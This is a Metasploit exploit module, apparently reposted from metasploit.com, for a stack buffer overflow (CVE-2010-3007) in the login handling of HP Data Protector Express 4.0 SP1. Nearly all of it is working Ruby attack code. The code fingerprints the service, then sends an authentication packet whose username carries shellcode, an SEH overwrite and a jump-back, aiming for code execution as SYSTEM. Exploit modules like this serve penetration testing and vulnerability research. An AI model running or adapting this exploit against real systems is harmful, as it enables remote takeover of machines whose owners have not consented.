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HP Data Protector DtbClsLogin Buffer Overflow
来源:http://www.metasploit.com 作者:juan 发布时间:2012-12-12  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP Data Protector DtbClsLogin Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The
    overflow occurs during the login process, in the DtbClsLogin function provided by
    the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in an
    insecure way with the username. A successful exploitation will lead to code execution
    with the privileges of the "dpwinsdr.exe" (HP Data Protector Express Domain Server
    Service) process, which runs as SYSTEM by default.
   },
   'Author'         =>
    [
     'AbdulAziz Hariri', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2010-3007' ],
     [ 'OSVDB', '67973' ],
     [ 'BID', '43105' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ],
     [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02498535' ]
    ],
   'Payload'        =>
    {
     'Space' => 712,
     'BadChars' => "\x00",
     'DisableNops' => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['HP Data Protector Express 4.0 SP1 (build 43064) / Windows XP SP3',
      {
       'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)
       'Offset' => 712
      }
     ]
    ],
   'DefaultTarget' => 0,
   'Privileged'     => true,
   'DisclosureDate' => 'Sep 09 2010'
   ))
  register_options(
   [
    Opt::RPORT(3817),
   ], self.class)
 end

 def check
  connect

  machine_name = rand_text_alpha(15)

  print_status("#{sock.peerinfo} - Sending Hello Request")
  hello =  "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
  hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"
  hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"
  hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
  hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
  hello << "\x00\x00\x00\x00"
  hello << machine_name << "\x00"
  hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
  hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"
  hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"

  sock.put(hello)
  hello_response = sock.get
  disconnect

  if hello_response and hello_response =~ /Dtb: Context/
   return Exploit::CheckCode::Detected
  end

  return Exploit::CheckCode::Safe

 end

 def exploit

  connect

  machine_name = rand_text_alpha(15)

  print_status("#{sock.peerinfo} - Sending Hello Request")
  hello =  "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00"
  hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00"
  hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00"
  hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
  hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00"
  hello << "\x00\x00\x00\x00"
  hello << machine_name << "\x00"
  hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44"
  hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10"
  hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"

  sock.put(hello)
  hello_response = sock.get

  if not hello_response or hello_response.empty?
   print_error("#{sock.peerinfo} - The Hello Request hasn't received a response")
   return
  end

  bof = payload.encoded
  bof << rand_text(target['Offset']-bof.length)
  bof << generate_seh_record(target.ret)
  bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string
  # The line below is used to trigger exception, don't go confused because of the big space,
  # there are only some available bytes until the end of the stack, it allows to assure exception
  # when there are mappings for dynamic memory after the stack, so to assure reliability it's better
  # to jump back.
  bof << rand_text(100000)

  header =  [0x8451].pack("V") # packet id
  header << [0x32020202].pack("V") # svc id
  header << [0x00000018].pack("V") # cmd id
  header << [0].pack("V") # pkt length, calculated after pkt has been built
  header << "\x00\x00\x00\x00" # ?Unknown?

  pkt_auth = header
  pkt_auth << bof # username

  pkt_auth[12, 4] = [pkt_auth.length].pack("V")

  print_status("#{sock.peerinfo} - Sending Authentication Request")

  sock.put(pkt_auth)
  disconnect
 end
end


 
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